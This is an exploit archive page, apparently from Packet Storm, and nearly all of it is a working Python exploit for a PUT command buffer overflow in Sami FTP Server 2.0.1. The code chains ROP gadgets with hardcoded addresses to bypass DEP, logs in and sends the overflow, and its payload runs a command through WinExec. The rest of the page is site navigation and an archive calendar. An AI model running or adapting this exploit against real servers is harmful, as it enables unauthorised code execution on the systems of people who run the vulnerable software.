what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Sami FTP Server 2.0.1 PUT Command Buffer Overflow

Sami FTP Server 2.0.1 PUT Command Buffer Overflow
Posted Mar 18, 2013
Authored by ne0z

Sami FTP server version 2.0.1 PUT command buffer overflow exploit with DEP bypass. Written in Python.

tags | exploit, overflow, python
SHA-256 | 8159a50021210d0417c9c4dfb1db9a6b41e41225e88e15e69485e9a6794eb4d2

Sami FTP Server 2.0.1 PUT Command Buffer Overflow

Change Mirror Download
#!/usr/bin/python
# Exploit Title: Sami FTP Server 2.0.1 PUT Command Buffer overflow (DEP Bypass)
# Date: 17 Mar 2013
# Exploit Author: ne0z
# Vendor Homepage: http://www.hatsecure.com
# Version: Sami FTP Server 2.0.1
# Tested on: Windows XP Professional SP3
#
# Description :
# A buffer overflow is triggered when a long PUT command is sent to the
# server and the user views the Log tab.
#
# Reference from : superkojiman

import socket, struct, sys

def little_endian(address):
return struct.pack("<L",address)


if (len(sys.argv)<=1):
print "Usage :"
print "root@bt~: python samiftp.py [target] [port]"
sys.exit(0)

target = sys.argv[1]
port = sys.argv[2]


fuzz = "\x41" * 216
eip = little_endian(0x7c9c1652)
rop = "AAAABBBBCCCCDDDD" #padding
rop += little_endian(0x7E41E9F6) #POP EDI RETN
rop += little_endian(0x7E411069) #retn
rop += little_endian(0x7E414238) #POP ESI #RETN (user32.dll)
rop += little_endian(0x7c862509) #POP to ESI
for x in range(4):
rop += little_endian(0x7C9CDA03) #inc esi #retn (0x7c862509 + 4) = 0x7C86250D (WinExec)
rop += little_endian(0x7E4185BB) #POP EBP RETN
rop += little_endian(0x7c81cb12) #Next address ExitProcess()
for x in range(3):
rop += little_endian(0x7C81106F)
rop += little_endian(0x7e423ad9) #pushad retn


cmd = "calc " #

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(target),int(port)))
s.recv(1024)
print "[X] Logged in"
s.send("USER hatsecure\r\n")
s.recv(1024)
s.send("PASS hatsecure\r\n")
s.recv(1024)
s.send("SYST\r\n")
system = s.recv(1024)
print "[X] Detected "+system
print "[X] Sending payload"
s.send("PUT "+fuzz+eip+rop+cmd+"\r\n")
s.recv(1024)

s.close()
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close